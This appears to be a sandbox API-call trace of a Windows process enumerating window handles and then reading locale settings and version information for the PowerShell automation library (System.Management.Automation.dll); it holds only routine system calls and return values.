[0035.445] GetWindowThreadProcessId (in: hWnd=0x400fa, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x30106, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x674
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x544
[0035.445] GetLastError () returned 0x514
[0035.445] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.445] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x1003c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.446] GetLastError () returned 0x514
[0035.446] GetWindowThreadProcessId (in: hWnd=0x100c6, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.446] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x100b6, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.447] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x1008e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.447] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x5007c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.447] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.447] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.447] GetLastError () returned 0x514
[0035.447] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0xad8
[0035.447] GetLastError () returned 0x514
[0035.448] GetWindow (hWnd=0x10208, uCmd=0x4) returned 0x0
[0035.449] IsWindowVisible (hWnd=0x10208) returned 0
[0035.450] GetWindowThreadProcessId (in: hWnd=0x20198, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x20194, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x201c8, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x301a0, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0xa3c
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x201ba, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x904
[0035.450] GetLastError () returned 0x514
[0035.450] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8f4
[0035.450] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8e4
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8d4
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8c4
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8b4
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8a4
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x894
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x884
[0035.451] GetLastError () returned 0x514
[0035.451] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x874
[0035.451] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x864
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x854
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x844
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x20154, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x834
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x824
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x814
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x804
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x534
[0035.452] GetLastError () returned 0x514
[0035.452] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x71c
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x20134, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x6e8
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x600d4, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x52c
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x20130, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5a0
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x674
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x170
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x674
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x170
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x674
[0035.453] GetLastError () returned 0x514
[0035.453] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5a0
[0035.453] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5a0
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x744
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100e8, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x760
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100da, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x73c
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100bc, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.454] GetLastError () returned 0x514
[0035.454] GetWindowThreadProcessId (in: hWnd=0x100a0, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.454] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x2009a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x50076, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x1006c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x70c
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x500
[0035.455] GetLastError () returned 0x514
[0035.455] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x3b4
[0035.455] GetLastError () returned 0x514
[0035.456] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x40c
[0035.456] GetLastError () returned 0x514
[0035.456] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.456] GetLastError () returned 0x514
[0035.456] GetWindowThreadProcessId (in: hWnd=0x10038, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.456] GetLastError () returned 0x514
[0035.456] GetWindowThreadProcessId (in: hWnd=0x10030, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.456] GetLastError () returned 0x514
[0035.456] GetWindowThreadProcessId (in: hWnd=0x2002c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.456] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x20026, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x580
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x1002a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5d8
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x16c
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x10114, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x544
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x1003e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x1003a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x650
[0035.457] GetLastError () returned 0x514
[0035.457] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.457] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x9fc
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0xae8
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x904
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8f4
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8e4
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8d4
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8c4
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8b4
[0035.458] GetLastError () returned 0x514
[0035.458] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x8a4
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x894
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x884
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x874
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x864
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x854
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x844
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x834
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x824
[0035.459] GetLastError () returned 0x514
[0035.459] GetWindowThreadProcessId (in: hWnd=0x20152, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x814
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x2014c, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x804
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x20146, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x534
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x71c
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x6e8
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x30132, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x52c
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x170
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x674
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5a0
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x100ea, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x744
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x500
[0035.460] GetLastError () returned 0x514
[0035.460] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x3b4
[0035.460] GetLastError () returned 0x514
[0035.461] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x40c
[0035.461] GetLastError () returned 0x514
[0035.461] GetWindowThreadProcessId (in: hWnd=0x1002e, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x5f8
[0035.461] GetLastError () returned 0x514
[0035.461] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x580
[0035.461] GetLastError () returned 0x514
[0035.461] GetWindowThreadProcessId (in: hWnd=0x100ee, lpdwProcessId=0x16e7a0 | out: lpdwProcessId=0x16e7a0) returned 0x16c
[0035.461] GetLastError () returned 0x514
[0035.461] GetLastError () returned 0x514
[0035.463] WerSetFlags () returned 0x0
[0035.474] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1
[0035.476] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x16eb7c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x16eb78 | out: pulNumLanguages=0x16eb7c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x16eb78) returned 1
[0035.476] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x16eb7c, pwszLanguagesBuffer=0x1e9ed0c, pcchLanguagesBuffer=0x16eb78 | out: pulNumLanguages=0x16eb7c, pwszLanguagesBuffer=0x1e9ed0c, pcchLanguagesBuffer=0x16eb78) returned 1
[0035.482] GetUserDefaultLocaleName (in: lpLocaleName=0x365310, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6
[0035.507] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.507] GetLastError () returned 0xcb
[0035.511] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.511] GetLastError () returned 0xcb
[0035.513] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0035.513] GetLastError () returned 0xcb
[0035.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.523] GetLastError () returned 0xcb
[0035.523] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e608, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
[0035.523] GetLastError () returned 0xcb
[0035.523] SetErrorMode (uMode=0x1) returned 0x1
[0035.523] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x16ea88 | out: lpFileInformation=0x16ea88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa963141, ftCreationTime.dwHighDateTime=0x1cb88fa, ftLastAccessTime.dwLowDateTime=0xa963141, ftLastAccessTime.dwHighDateTime=0x1cb88fa, ftLastWriteTime.dwLowDateTime=0xa9892a1, ftLastWriteTime.dwHighDateTime=0x1cb88fa, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1
[0035.523] GetLastError () returned 0xcb
[0035.523] SetErrorMode (uMode=0x1) returned 0x1
[0035.523] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x16eb0c | out: lpdwHandle=0x16eb0c) returned 0x94c
[0035.526] GetLastError () returned 0x0
[0035.526] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1ea123c | out: lpData=0x1ea123c) returned 1
[0035.528] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x16ead8, puLen=0x16ead4 | out: lplpBuffer=0x16ead8*=0x1ea12d8, puLen=0x16ead4) returned 1
[0035.528] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea13b4, puLen=0x16ea50) returned 1
[0035.528] lstrlenW (lpString="Microsoft Corporation") returned 21
[0035.528] lstrcpyW (in: lpString1=0x365310, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation"
[0035.529] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea1408, puLen=0x16ea50) returned 1
[0035.529] lstrlenW (lpString="System.Management.Automation") returned 28
[0035.529] lstrcpyW (in: lpString1=0x365310, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation"
[0035.529] VerQueryValueW (in: pBlock=0x1ea123c, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x16ea54, puLen=0x16ea50 | out: lplpBuffer=0x16ea54*=0x1ea1464, puLen=0x16ea50) returned 1
[0035.529] lstrlenW (lpString="6.1.7601.17514") returned 14
[0035.529] lstrcpyW (in: lpString1=0x365310, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514"
